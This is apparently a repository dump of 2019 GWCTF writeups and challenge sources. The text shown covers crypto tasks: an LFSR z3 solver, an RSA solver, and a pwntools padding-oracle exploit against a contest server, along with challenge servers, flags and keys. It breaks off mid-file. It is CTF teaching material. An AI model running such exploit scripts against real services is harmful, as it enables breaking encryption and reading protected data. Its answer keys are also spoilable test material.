├── README.md └── wp ├── crypto ├── CoCo │ ├── README.md │ └── source │ │ └── CoCo.rar ├── aes │ ├── Dockerfile │ │ ├── Dockerfile │ │ ├── run.sh │ │ ├── secret.py │ │ └── task.py │ ├── README.md │ └── img │ │ ├── 1.png │ │ ├── 2.png │ │ └── 3.png ├── babyRSA │ ├── README.md │ ├── img │ │ ├── 1.png │ │ └── 2.png │ └── source │ │ ├── encrypt.py │ │ └── secret ├── babyRSA2 │ ├── Dockerfile │ │ ├── Dockerfile │ │ ├── run.sh │ │ ├── secret.py │ │ └── task.py │ └── README.md └── warmup │ ├── Dockerfile │ ├── Dockerfile │ ├── run.sh │ ├── secret.py │ └── task.py │ └── README.md ├── misc ├── Math │ ├── README.md │ ├── bin │ │ └── Math │ ├── exp │ │ └── Math.py │ └── source │ │ └── Math.c ├── fun │ ├── README.md │ ├── bin │ │ └── fun │ └── source │ │ └── misc.c └── huyao │ ├── README.md │ ├── img │ └── 1.png │ └── source │ ├── huyao.png │ └── stillhuyao.png ├── pwn ├── Babyheap │ ├── README.md │ ├── bin │ │ └── babyheap │ ├── exp │ │ └── babyheap.py │ └── source │ │ └── babyheap.c ├── chunk │ ├── README.md │ ├── bin │ │ └── chunk │ ├── exp │ │ └── chunk.py │ └── source │ │ └── chunk.c ├── pwn_me │ ├── README.md │ ├── bin │ │ └── pwn_me │ ├── exp │ │ └── pwn_me.py │ └── source │ │ └── pwn_me.c ├── shellcode │ ├── README.md │ ├── bin │ │ └── shellcode │ └── source │ │ └── shellcode.c ├── 史上最简单的pwn │ ├── README.md │ ├── bin │ │ ├── easy_pwn │ │ └── libstdc++.so.6 │ └── source │ │ └── easy_pwn.cpp └── 宇宙无敌难(jian)搞(dan) │ ├── README.md │ ├── bin │ └── pwn1 │ └── source │ └── pwn1.c ├── reverse ├── babyvm │ ├── README.md │ ├── bin │ │ └── babyvm │ ├── exp │ │ └── exp.py │ └── source │ │ └── babyvm.c ├── pyre │ ├── README.md │ ├── bin │ │ └── encode.pyc │ ├── exp │ │ └── decode.py │ └── source │ │ └── encode.py ├── re3 │ ├── README.md │ ├── bin │ │ └── re │ └── source │ │ ├── aes.c │ │ ├── aes.h │ │ └── src.c └── xxor │ ├── README.md │ ├── bin │ └── xxor │ ├── exp │ ├── exp │ └── exp.c │ └── source │ └── xxor.c └── web ├── blog ├── README.md ├── dockerfile │ └── dockerfile.rar └── img │ ├── 1.png │ ├── 2.png │ ├── 3.png │ ├── 4.png │ ├── 5.png │ └── 6.png ├── mypassword ├── README.md ├── dockerfile │ ├── app │ │ ├── Dockerfile │ │ ├── app │ │ │ ├── content.php │ │ │ ├── css │ │ │ │ └── bootstrap.min.css │ │ │ ├── db.php │ │ │ ├── delete.php │ │ │ ├── fb.php │ │ │ ├── feedback.php │ │ │ ├── header.php │ │ │ ├── index.php │ │ │ ├── js │ │ │ │ └── login.js │ │ │ ├── list.php │ │ │ ├── login.php │ │ │ ├── logout.php │ │ │ ├── register.php │ │ │ └── user.php │ │ ├── flag │ │ ├── run.sh │ │ └── sql.sql │ ├── bot │ │ ├── Dockerfile │ │ ├── bot.py │ │ ├── crontabfile │ │ ├── flag │ │ └── run.sh │ └── docker-compose.yml └── img │ ├── 1.jpg │ └── 2.jpg ├── warmup ├── README.md ├── docker │ └── dockerfile.rar └── img │ ├── 1.png │ ├── 2.png │ ├── 3.png │ ├── 4.png │ ├── 5.png │ └── 6.png ├── 你的名字 ├── README.md └── dockerfile.rar ├── 我有一个数据库 ├── README.md └── dockerfile │ └── dockerfile.rar └── 枯燥的抽奖 ├── README.md └── dockerfile ├── docker-compose.yml ├── dockerfile └── source.rar /README.md: -------------------------------------------------------------------------------- 1 | # 2019GWCTF 2 | 2019广外校赛官方wp及源码 3 | -------------------------------------------------------------------------------- /wp/crypto/CoCo/README.md: -------------------------------------------------------------------------------- 1 | ## CoCo 2 | 这道题本来想出难一点的lfsr,结果弟弟自己都做不出,最后还是拿了0ctf的lfsr那题改成了在多项式的形式下进行运算,其实看懂了整个过程以后就会发现直接用当初0ctf的脚本跑就能出(捂脸,wtcl 3 | ```python 4 | # -*- coding:utf8 -*- 5 | from z3 import * 6 | from Crypto.Util.number import long_to_bytes 7 | import hashlib 8 | 9 | def combine(x1, x2, x3): 10 | return (x1*x2)^(x2*x3)^(x3*x1) 11 | 12 | def solve_3_lfsr(keystream, relevant_bit_indices, length, mask_length): 13 | len_mask = (2 ** (mask_length + 1) - 1) 14 | result_bits = map(long, "".join([bin(ord(c))[2:].zfill(8) for c in keystream])) 15 | s = Solver() 16 | x = BitVec('x', length) 17 | y = BitVec('y', length) 18 | z = BitVec('z', length) 19 | inits = [x, y, z] 20 | for result in result_bits: 21 | combs = [] 22 | new_inits = [] 23 | for index in range(3): # 无符号数的移位需要使用LShR,表示逻辑移位 24 | relevant_bit1 = (inits[index] & (1 << relevant_bit_indices[index][0])) 25 | bit1_value = LShR(relevant_bit1, relevant_bit_indices[index][0]) 26 | relevant_bit2 = inits[index] & (1 << relevant_bit_indices[index][1]) 27 | bit2_value = LShR(relevant_bit2, relevant_bit_indices[index][1]) 28 | single_lfsr_result = bit1_value ^ bit2_value 29 | combs.append(single_lfsr_result) 30 | new_init = ((inits[index] << 1) & len_mask) ^ single_lfsr_result 31 | new_inits.append(new_init) 32 | s.add(combine(combs[0], combs[1], combs[2]) == result) # 约束条件 33 | inits = new_inits 34 | s.check() 35 | model = s.model() 36 | x_res = int(str(model[x])) 37 | y_res = int(str(model[y])) 38 | z_res = int(str(model[z])) 39 | return x_res, y_res, z_res 40 | 41 | with codecs.open("keystream", 'rb', 'utf8') as input_file: 42 | data = input_file.read() 43 | mask1 = (42, 26) 44 | mask2 = (35, 13) 45 | mask3 = (47, 22) 46 | keystream = data[:24] 47 | x, y, z = solve_3_lfsr(data[:24], [mask1, mask2, mask3], 48, 48) 48 | init1, init2, init3 = map(long_to_bytes, [x, y, z]) 49 | print "GWHT{" + hashlib.md5(init1 + init2 + init3).hexdigest() + "}" 50 | ``` -------------------------------------------------------------------------------- /wp/crypto/CoCo/source/CoCo.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/crypto/CoCo/source/CoCo.rar -------------------------------------------------------------------------------- /wp/crypto/aes/Dockerfile/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu 2 | 3 | RUN apt-get update && apt-get -y install python-dev && apt-get -y install python-pip && apt-get -y install vim 4 | 5 | ADD run.sh /root/run.sh 6 | 7 | RUN chmod +x /root/run.sh 8 | 9 | RUN useradd -m -s /sbin/nologin aes 10 | 11 | ADD secret.py /home/aes/secret.py 12 | 13 | ADD task.py /home/aes/task.py 14 | 15 | EXPOSE 80 16 | CMD ["/root/run.sh"] -------------------------------------------------------------------------------- /wp/crypto/aes/Dockerfile/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | nohup python /home/aes/task.py & 4 | 5 | /bin/bash 6 | -------------------------------------------------------------------------------- /wp/crypto/aes/Dockerfile/secret.py: -------------------------------------------------------------------------------- 1 | flag = "GWHT{5befac3acd0cc4c0e2d8021cd0fffec5}" 2 | key = "cxw5yqar8vls4enz" -------------------------------------------------------------------------------- /wp/crypto/aes/Dockerfile/task.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf8 -*- 2 | import SocketServer 3 | import os 4 | import random 5 | import signal 6 | import base64 7 | from string import hexdigits 8 | from hashlib import md5 9 | from Crypto.Cipher import AES 10 | from secret import flag, key 11 | 12 | BS = 16 13 | 14 | def pad(s): 15 | return s + (BS - len(s) % BS) * chr(BS - len(s) % BS) 16 | 17 | def unpad(s): 18 | pad = s[-1] 19 | if ord(pad) > BS or ord(pad) < 1: 20 | raise ValueError("Invaild padding") 21 | for i in s[-ord(s[-1]):]: 22 | if ord(i) != ord(pad): 23 | raise ValueError("Invaild padding") 24 | res = s[0:-ord(s[-1])] 25 | return res 26 | 27 | def encrypt(iv,data): 28 | mode = AES.MODE_CBC 29 | cipher = AES.new(key,mode,iv) 30 | ciphertext = cipher.encrypt(pad(data)) 31 | return ciphertext 32 | 33 | def decrypt(iv,data): 34 | mode = AES.MODE_CBC 35 | pt = AES.new(key,mode,iv) 36 | plaintext = pt.decrypt(data) 37 | return unpad(plaintext) 38 | 39 | def get_secret(): 40 | secret = encrypt("A" * 16, flag) 41 | return secret 42 | 43 | class Task(SocketServer.BaseRequestHandler): 44 | def proof_of_work(self): 45 | random.seed(os.urandom(8)) 46 | part_hash = "".join([random.choice(hexdigits) for _ in range(5)]).lower() 47 | salt = "".join([random.choice(hexdigits) for _ in range(4)]).lower() 48 | self.request.send("Please find a string that md5(str + " + salt + ")[0:5] == %s\n" % (part_hash)) 49 | self.request.send('[>] Give me xxxxx: ') 50 | string = self.request.recv(10) 51 | string = string.strip() 52 | if (md5(string + salt).hexdigest()[:5] != part_hash): 53 | self.request.send('[-] Wrong hash, exit...\n') 54 | return False 55 | return True 56 | 57 | def dosend(self, msg): 58 | try: 59 | self.request.sendall(msg) 60 | except: 61 | pass 62 | 63 | def handle(self): 64 | signal.alarm(500) 65 | if not self.proof_of_work(): 66 | return 67 | signal.alarm(450) 68 | secret = base64.b64encode(get_secret()) 69 | self.dosend('Welcome to this soEasy system.There are four options:\n') 70 | self.dosend(' [G] Get the secret message.\n') 71 | self.dosend(' [E] Encrypt the message.\n') 72 | self.dosend(' [D] Decrypt the message.\n') 73 | self.dosend(' [Q] Quit.\n') 74 | while True: 75 | self.dosend('[>] Please input your option: ') 76 | op = self.request.recv(10).strip().upper() 77 | if op == 'G': 78 | self.dosend('The secret is: ' + secret + '\n') 79 | continue 80 | elif op == 'E': 81 | self.dosend("[>] IV: ") 82 | ivv = self.request.recv(32) 83 | ivv = base64.b64decode(ivv.strip()) 84 | self.dosend("[>] Data: ") 85 | data = self.request.recv(1024) 86 | data = base64.b64decode(data.strip()) 87 | try: 88 | cipher = base64.b64encode(encrypt(ivv, data)) 89 | except Exception,e: 90 | self.dosend("[-] %s\n" % e) 91 | continue 92 | else: 93 | self.dosend("The result is: %s\n" % cipher) 94 | self.dosend("Encrytion done\n") 95 | continue 96 | elif op == 'D': 97 | self.dosend("[>] IV: ") 98 | cv = self.request.recv(32) 99 | cv = base64.b64decode(cv.strip()) 100 | self.dosend("[>] Data: ") 101 | cdata = self.request.recv(1024) 102 | cdata = base64.b64decode(cdata.strip()) 103 | try: 104 | decrypt(cv, cdata) 105 | except Exception,e: 106 | self.dosend("[-] %s\n" % e) 107 | continue 108 | else: 109 | self.dosend("Decrpytion done\n") 110 | continue 111 | else: 112 | self.dosend("GoodBye~\n") 113 | return False 114 | self.request.close() 115 | 116 | class ForkedServer(SocketServer.ForkingTCPServer, SocketServer.TCPServer): 117 | pass 118 | 119 | 120 | if __name__ == '__main__': 121 | HOST, PORT = '0.0.0.0', 80 122 | server = ForkedServer((HOST, PORT), Task) 123 | server.allow_reuse_address = True 124 | server.serve_forever() 125 | 126 | 127 | -------------------------------------------------------------------------------- /wp/crypto/aes/README.md: -------------------------------------------------------------------------------- 1 | ### aes 2 | 3 | 这是一道典型的Padding Oracle攻击,本菜鸡想着应该很快就会被秒了的,但是不知道为什么只有两个师傅做了Orz...原理可以参考网上的各种关于padding oracle attack的文章,讲的都比我清楚,我就不献丑了,比如说https://www.freebuf.com/articles/database/151167.html 4 | 5 | ``` 6 | 对于第一块 plaintext[0] = middle[0] ^ iv[0] 7 | 对于第二块 plaintext[0] = middle[0] ^ 第一组密文[0] 8 | 对于第三块 plaintext[0] = middle[0] ^ 第二组密文[0] 9 | ``` 10 | 11 | exp如下 12 | 13 | ```python 14 | # -*- coding:utf8 -*- 15 | import base64 16 | import string 17 | import hashlib 18 | from pwn import * 19 | 20 | secret = "pxIALhdgqbmusNcu+3gEI3tgQlTNeX0RcVb9tbGCzt0zw5GZEBeQAbE8ybRUTtRW" 21 | secret1 = base64.b64decode(secret)[0:16] 22 | secret2 = base64.b64decode(secret)[16:32] 23 | secret3 = base64.b64decode(secret)[32:] 24 | p = remote('183.129.189.60',10036) 25 | 26 | def proof(salt,res): 27 | print "Solving......" 28 | dict = string.digits + string.ascii_letters 29 | for i in dict: 30 | for j in dict: 31 | for a in dict: 32 | for b in dict: 33 | for c in dict: 34 | code = i + j + a + b + c 35 | payload = code + salt 36 | if hashlib.md5(payload).hexdigest()[0:5] == res: 37 | print "[+] md5 has been found" 38 | return code 39 | 40 | p.recvuntil("Please find a string that md5(str + ") 41 | salt = p.recv(4) 42 | p.recvuntil(")[0:5] == ") 43 | res = p.recv(5) 44 | p.recvuntil("[>] Give me xxxxx: ") 45 | code = proof(salt,res) 46 | p.sendline(code) 47 | 48 | middle = [] 49 | padding = '' 50 | 51 | for x in xrange(1,17): 52 | for y in xrange(0,256): 53 | IV = "\x00" * (16-x) + chr(y) + padding 54 | p.recvuntil("[>] Please input your option: ") 55 | p.sendline("d") 56 | p.recvuntil("[>] IV: ") 57 | p.sendline(base64.b64encode(IV)) 58 | p.recvuntil("[>] Data: ") 59 | p.sendline(base64.b64encode(secret3)) 60 | res = p.recvuntil("\n") 61 | if 'done' in res: 62 | middle.append(y ^ x) 63 | print middle 64 | padding = '' 65 | for z in middle: 66 | padding = chr((x+1) ^ z) + padding 67 | break 68 | 69 | 70 | flag = "" 71 | for x,y in zip(middle,secret2[::-1]): 72 | # first block 73 | # flag += chr(x ^ ord('A')) 74 | # other block 75 | flag += chr(x ^ ord(y)) 76 | print flag[::-1] 77 | 78 | # GWHT{5befac3acd0cc4c0e2d8021cd0fffec5} 79 | ``` 80 | 81 | ![1](./img/1.png) 82 | 83 | ![2](./img/2.png) 84 | 85 | ![3](./img/3.png) 86 | 87 | -------------------------------------------------------------------------------- /wp/crypto/aes/img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/crypto/aes/img/1.png -------------------------------------------------------------------------------- /wp/crypto/aes/img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/crypto/aes/img/2.png -------------------------------------------------------------------------------- /wp/crypto/aes/img/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/crypto/aes/img/3.png -------------------------------------------------------------------------------- /wp/crypto/babyRSA/README.md: -------------------------------------------------------------------------------- 1 | ## babyRSA 2 | 这道题其实用yafu或者直接开方分解出p和q以后,剩下的就只是解方程而已 3 | 中间的解方程用sage解 4 | ![](./img/1.png) 5 | 完整exp 6 | ```python 7 | import hashlib 8 | import libnum 9 | import gmpy2 10 | from Crypto.Util.number import * 11 | 12 | N = 636585149594574746909030160182690866222909256464847291783000651837227921337237899651287943597773270944384034858925295744880727101606841413640006527614873110651410155893776548737823152943797884729130149758279127430044739254000426610922834573094957082589539445610828279428814524313491262061930512829074466232633130599104490893572093943832740301809630847541592548921200288222432789208650949937638303429456468889100192613859073752923812454212239908948930178355331390933536771065791817643978763045030833712326162883810638120029378337092938662174119747687899484603628344079493556601422498405360731958162719296160584042671057160241284852522913676264596201906163 13 | m1 = 90009974341452243216986938028371257528604943208941176518717463554774967878152694586469377765296113165659498726012712288670458884373971419842750929287658640266219686646956929872115782173093979742958745121671928568709468526098715927189829600497283118051641107305128852697032053368115181216069626606165503465125725204875578701237789292966211824002761481815276666236869005129138862782476859103086726091860497614883282949955023222414333243193268564781621699870412557822404381213804026685831221430728290755597819259339616650158674713248841654338515199405532003173732520457813901170264713085107077001478083341339002069870585378257051150217511755761491021553239 14 | m2 = 487443985757405173426628188375657117604235507936967522993257972108872283698305238454465723214226871414276788912058186197039821242912736742824080627680971802511206914394672159240206910735850651999316100014691067295708138639363203596244693995562780286637116394738250774129759021080197323724805414668042318806010652814405078769738548913675466181551005527065309515364950610137206393257148357659666687091662749848560225453826362271704292692847596339533229088038820532086109421158575841077601268713175097874083536249006018948789413238783922845633494023608865256071962856581229890043896939025613600564283391329331452199062858930374565991634191495137939574539546 15 | e = 0x10001 16 | 17 | p = gmpy2.iroot(N, 2)[0] 18 | for i in range(10000): 19 | if p*(N/p) == N: 20 | q = N/p 21 | break 22 | p = p - 1 23 | 24 | phi = (p-1)*(q-1) 25 | d = gmpy2.invert(e, phi) 26 | c1 = pow(m1, d, N) 27 | c2 = pow(m2, d, N) 28 | 29 | c3 = c2/c1 30 | # f1 + f2 = c1 31 | # f1**3 + f2**3 = c2 32 | 33 | c3 = 2018124390758744579176881760393912432855047177830525334114351200861828082292382837553703201 34 | 35 | x = 1141553212031156130619789508463772513350070909 36 | y = 1590956290598033029862556611630426044507841845 37 | 38 | print long_to_bytes(y)+long_to_bytes(x) 39 | print libnum.n2s(0xf709e0e2cfe7e530ca8972959a1033b2) 40 | ``` 41 | ![](./img/2.png) -------------------------------------------------------------------------------- /wp/crypto/babyRSA/img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/crypto/babyRSA/img/1.png -------------------------------------------------------------------------------- /wp/crypto/babyRSA/img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/crypto/babyRSA/img/2.png -------------------------------------------------------------------------------- /wp/crypto/babyRSA/source/encrypt.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import sympy 3 | from Crypto.Util.number import * 4 | 5 | flag = 'GWHT{******}' 6 | secret = '******' 7 | 8 | assert(len(flag) == 38) 9 | 10 | half = len(flag) / 2 11 | 12 | flag1 = flag[:half] 13 | flag2 = flag[half:] 14 | 15 | secret_num = getPrime(1024) * bytes_to_long(secret) 16 | 17 | p = sympy.nextprime(secret_num) 18 | q = sympy.nextprime(p) 19 | 20 | N = p * q 21 | 22 | e = 0x10001 23 | 24 | F1 = bytes_to_long(flag1) 25 | F2 = bytes_to_long(flag2) 26 | 27 | c1 = F1 + F2 28 | c2 = pow(F1, 3) + pow(F2, 3) 29 | assert(c2 < N) 30 | 31 | m1 = pow(c1, e, N) 32 | m2 = pow(c2, e, N) 33 | 34 | output = open('secret', 'w') 35 | output.write('N=' + str(N) + '\n') 36 | output.write('m1=' + str(m1) + '\n') 37 | output.write('m2=' + str(m2) + '\n') 38 | output.close() 39 | -------------------------------------------------------------------------------- /wp/crypto/babyRSA/source/secret: -------------------------------------------------------------------------------- 1 | N=636585149594574746909030160182690866222909256464847291783000651837227921337237899651287943597773270944384034858925295744880727101606841413640006527614873110651410155893776548737823152943797884729130149758279127430044739254000426610922834573094957082589539445610828279428814524313491262061930512829074466232633130599104490893572093943832740301809630847541592548921200288222432789208650949937638303429456468889100192613859073752923812454212239908948930178355331390933536771065791817643978763045030833712326162883810638120029378337092938662174119747687899484603628344079493556601422498405360731958162719296160584042671057160241284852522913676264596201906163 2 | m1=90009974341452243216986938028371257528604943208941176518717463554774967878152694586469377765296113165659498726012712288670458884373971419842750929287658640266219686646956929872115782173093979742958745121671928568709468526098715927189829600497283118051641107305128852697032053368115181216069626606165503465125725204875578701237789292966211824002761481815276666236869005129138862782476859103086726091860497614883282949955023222414333243193268564781621699870412557822404381213804026685831221430728290755597819259339616650158674713248841654338515199405532003173732520457813901170264713085107077001478083341339002069870585378257051150217511755761491021553239 3 | m2=487443985757405173426628188375657117604235507936967522993257972108872283698305238454465723214226871414276788912058186197039821242912736742824080627680971802511206914394672159240206910735850651999316100014691067295708138639363203596244693995562780286637116394738250774129759021080197323724805414668042318806010652814405078769738548913675466181551005527065309515364950610137206393257148357659666687091662749848560225453826362271704292692847596339533229088038820532086109421158575841077601268713175097874083536249006018948789413238783922845633494023608865256071962856581229890043896939025613600564283391329331452199062858930374565991634191495137939574539546 4 | -------------------------------------------------------------------------------- /wp/crypto/babyRSA2/Dockerfile/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu 2 | 3 | RUN apt-get update && apt-get -y install python-dev && apt-get -y install python-pip && apt-get -y install vim 4 | 5 | ADD run.sh /root/run.sh 6 | 7 | RUN chmod +x /root/run.sh 8 | 9 | RUN useradd -m -s /sbin/nologin ctf 10 | 11 | ADD secret.py /home/ctf/secret.py 12 | 13 | ADD task.py /home/ctf/task.py 14 | 15 | EXPOSE 80 16 | CMD ["/root/run.sh"] -------------------------------------------------------------------------------- /wp/crypto/babyRSA2/Dockerfile/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | nohup python /home/ctf/task.py & 4 | 5 | /bin/bash 6 | -------------------------------------------------------------------------------- /wp/crypto/babyRSA2/Dockerfile/secret.py: -------------------------------------------------------------------------------- 1 | flag = "GWHT{fa8517c2fcedd0badde1be234d659ff9}" 2 | 3 | m1 = 113831205986015169664784468384770913338052968250768027471219369390758438692587 4 | m4 = 6686920723292022244666542456361041832333875701572980336306635796447933714258572395349429923759172987476210121504513631932099822145314827032196415117621066 5 | 6 | password = "Orz_I_Wi1l_Alway3_Lov5_R3A_Sy3tem" -------------------------------------------------------------------------------- /wp/crypto/babyRSA2/Dockerfile/task.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf8 -*- 2 | import SocketServer 3 | import os,random,signal 4 | from string import hexdigits 5 | from hashlib import md5 6 | from secret import flag, m1, m4, password 7 | 8 | class Task(SocketServer.BaseRequestHandler): 9 | def proof_of_work(self): 10 | random.seed(os.urandom(8)) 11 | part_hash = "".join([random.choice(hexdigits) for _ in range(5)]).lower() 12 | salt = "".join([random.choice(hexdigits) for _ in range(4)]).lower() 13 | self.request.send("[*] Please find a string that md5(str + " + salt + ")[0:5] == %s\n" % (part_hash)) 14 | self.request.send('[>] Give me xxxxx: ') 15 | string = self.request.recv(10) 16 | string = string.strip() 17 | if (md5(string + salt).hexdigest()[:5] != part_hash): 18 | self.request.send('[-] Wrong hash, exit...\n') 19 | return False 20 | return True 21 | 22 | def getM(self): 23 | return random.getrandbits(512) 24 | 25 | def level1(self): 26 | self.dosend('n = 8788243810113198481764566947869508914607026957466489668727548073613496825679400591687813426342686034806081353790472216192635172094987395128834590030497381\n') 27 | self.dosend('e1 = 2333\n') 28 | self.dosend('e2 = 23333\n') 29 | self.dosend('c1 = 4799918654649006116940502215835347906203162902787669199307383957409192303134738166614010930829808272183136103896570661157044610508330743272839870684458619\n') 30 | self.dosend('c2 = 3517433402358387844096791333634390193378704559086526036995918508702312833687284786927630246590107124972191795462221141049323183791880150003945625070468406\n') 31 | self.dosend('Please input your answer:\n') 32 | self.dosend('[>] ') 33 | ans1 = int(self.request.recv(1024).strip()) 34 | if ans1 != m1: 35 | return False 36 | return True 37 | 38 | def level2(self): 39 | m2 = self.getM() 40 | n = 607900813663611067842837524661267364301550704378227659881901452531297221475040636195628925575855229656282223892087050493227081440280659712928800534490346879220642831988621810921598187433437378837837143501351423729677882983853496149047999678671286086457392694329911623356267250125698473655142476732580600637746199649870687527976434678329761718780196549933383562521810097843739766366411336632451675251205900001776144878467197785994504653053952116694201789023197153385339005092459140666207222691088762923508773221128431115940139639127361682894161575447178762249825640016917855258140241450958323555091405995851890923440318847524315885746456192524770784189513289482148237295117819525443770282328848309513469786825609469896483501821174911696076686122297451140515020902016476221555394631405807748304247062188071900702260272695809537710337210815836949969412320526240794719406618313088181764869343466599137077245401564928600711478908683466984267995973337332645121946601867073615045820510942656153543468965306446587268635504217564304202312293009330282199667043729023574994279506013458408920599612106410777171455809662951090003618715140536175558669535844334773825915679243838049185760728893699819949132064423885220963263250131219088767339535983 41 | e = 3 42 | c = hex(pow(m2,e,n)) 43 | self.dosend('n = %s\n' % hex(n)) 44 | self.dosend('e = 3\n') 45 | self.dosend('c = %s\n' % c) 46 | self.dosend('Please input your answer:\n') 47 | self.dosend('[>] ') 48 | ans2 = int(self.request.recv(1024).strip()) 49 | if ans2 != m2: 50 | return False 51 | return True 52 | 53 | def level3(self): 54 | m3 = self.getM() 55 | n = 29705228213754565882993139471924572295182343211238615829181137202064051706595393267370754841943355967012677568512988647611509327120950259780728925515193851841761087515458718194800284149961389534872168019329253953209931011703282420411297656915759784139955772494392206450301449559319429509030460398915047980527018882610609013753981325385909414494476597636510759522537411097279302654844180412078439700626915272553559160209950455638217411089216829715434297244252794703847300018681207359956597466890846034383058641813812360626900475225731629387466381849160081144528650315470298268936500064362564132742099920530316819561869 56 | e = 65537 57 | c = hex(pow(m3,e,n)) 58 | self.dosend('n = 0xeb4f8c45336c229371fd73a252b24dd3bf8b3cdc1bb1864f140fd63c88d47c44ba228bebe223fe53c7eaf88678b780821a6660b2726506216554990a5dda178ee04a47c7f1974fc8f8268d081bbb2be7e7353ccf36fecfce5f5f82722d064928f2d60844373c52b4d1db9dc41f7f16807c5b4356c4d2290811e25c51ef1227aa6e893d37dd8743e391fa638d77d0c55e4fb331576602128333d4be95f06523521e7511b39fc20111c88f2635b67e3531684d58ea6574179b5e63a862d073241f5ff91c97a45aa3d8e3287d8161a97728d2e19d72669f39f9e6ad10677bb563bdef30d0dcfa719c2f1836bd02b73d21dbecc11717b54c45d415d3f423ce6dfd8dL\n') 59 | self.dosend('e = 0x10001\n') 60 | self.dosend('p>>448 = 0xfb2151c701f7667b53822fe625b95edee00c3a947b234eca47903ef62fb128d813a9c1acb328f3f7181d24ce31814cd1a69ac4b61b269e2b0eb7fbaabe9633d33a36d0715b4cd386L\n') 61 | self.dosend('c = %s\n' % c) 62 | self.dosend('Please input your answer:\n') 63 | self.dosend('[>] ') 64 | ans3 = int(self.request.recv(1024).strip()) 65 | if ans3 != m3: 66 | return False 67 | return True 68 | 69 | def level4(self): 70 | self.dosend('n1 = 0xb08bab371e516b9ac3a9c68bc2af143893aac7534ace6c172c6da6e8c7b8b0631819b2647b92d33c064bef0f6af50736a3897b7230771c315f4c4a7315c23691e5b859764f5968e9e623ac768d14bf4cdb9b56fb5b5d53236bf13a7b50bb247a9fe30e5d16c6c7ff34f875677a9438e2f1d0e4dee48c0141e697fef3881d91249ecf9c415d3846bbd8bf9ddec2229f7a13e3b0c085ec1073bc4b7d2654115967798244068e78bf2d150e702766ba7508d19346671a468943ca74509cb4fd7f8099b6a69f90f4ecf7326efc5584ebae592d3bc4ed54f5edd9c33f7a1880fa24f96a8317e52986fed69950f4243422e1ede448ba72894201ea47e23ec8157cf507L\n') 71 | self.dosend('n2 = 0xae8a5a3e9946f573c2b89167d2c4f7f630889c05a38b64f6f8ffe3e5230c946a065c19eab4f0b8caa75fdb3fdaa1e4f0e5f89baff4398c1a1fd32b292ac1c1d87a718c8ae3f58c2e6f97eb459dbaf1ffdc00d8b6e915c84c11dec00120308dc6e2b6778b953df6d9f454053c25db701987b89ece4de709a1b345a7528c4245ae3965b8ef29abcb278dc941fea5cbb369c74434c7b1e873ee2f6dc18bc5a69692358bf9443edb6b2eaeb674407ef763c62d57468e99408ef2fbb73699908e532de91689e07b77d12be0a425686b21aff40287749e391b4f46abecccba99d59d4ed861f57f1c520e888252be390245029808f07bfbd6e5200adff705b8255c93adL\n') 72 | self.dosend('e1 = 0x4628a2\n') 73 | self.dosend('e2 = 0x1436ea\n') 74 | self.dosend('c1 = 0x68efd78bd67438de2474bb1b9112e305266245359807dda408e9937bc97ee06d0098a8823cc49c562392361d15852f5dce226cc0651da86654228ed9c6a2cb4952b8b447f4deaff8b622030f41f3e506431362c7900c32f0e6e53b4eb43b6ab6358e1fdfd03bead43d61d35d292ef9f575dd7507ad24838ff27be4bf9f8221bf5eeccb460168c3f2d703edc8733a40d0d890cdb9584bb454886c74cdd69dee19855b80789ffe74088326f963e24c31c8e293f630cb6bac282ac49ad142c4d4fd90b272abe924ffa72c1b974cd90e0a41c80b40df6f492b63edb792cc48ff30e5aad7e5a1d8c021a1705c27692bf07f836530627f0a178b93b626ac6ebad06a71L\n') 75 | self.dosend('c2 = 0x3a9e0e7765e488f6f6651fa9758b99329beb2fb8117e990683e833a4c0a8203621fe69790ebcd4e99b7c7135753c6a6e785a206c6f668c541600f075a67d1df77c536e0659a6aee5291726da62b6b19d35bb3429eb5af41ee9b60c0f7ae28cb983428c7041fec0b5649dde69355c12795ed2a539458991164b35b37fa2495d8df80710cb75b64ae9ecfddf80fb188df864acac136c0cb9db0953e5328280ccbcd3dc8c32755045ffe0e59f38d3a5d2507d4123789681534d4a69020ad984839db68d437f0a5fc4542b5856e8845afa890e18217b34e4095511abe10787268aac55ceed1453fc5dc5c97593a4374b6603c439638c604c53282a6fb3f327a72518L\n') 76 | self.dosend('Please input your answer:\n') 77 | self.dosend('[>] ') 78 | ans4 = int(self.request.recv(1024).strip()) 79 | if ans4 != m4: 80 | return False 81 | return True 82 | 83 | 84 | def level5(self): 85 | self.dosend('n = 19442176928007830098424428955804863422490104569894359496453939957229742423661160054241621640185600142526048820896573841917260538353760477502624635228772623542594808126714949387688256798485777301116254045665123490080599759063595943183174257000621175533455527351901382362223186460177724406923578989734811261651935021211994078268472388527276207734500306479937257181713076303044191424255541575089667633199235148135321345062563193566412742338012981130056909856454878804112411630977554868340858807585375893503827768149367059669895608437969230531174624250114738703422569825794356115744480899464005839030338854022395818875403\n') 86 | self.dosend('e = 5\n') 87 | self.dosend('c1 = 265062189690110258168937914660953141176262450217439754228412476921446090800865485245586374925301693092500339299234605734070010071396874397183777663814494638701287154485422437592402905249840040151974080315867776147021284075889623873125652375381248465118406871808612192648463354603146409805633298150440609502952012219466107223073722611710202703260376132210869385568895215174665401985520571514194067663539459950606936108462665901877112231914464806764529803480944795681849082656461363871269771058326378629532466874107079842249414630772189064960956110663544293311957887794906286805610383928125\n') 88 | self.dosend('c2 = 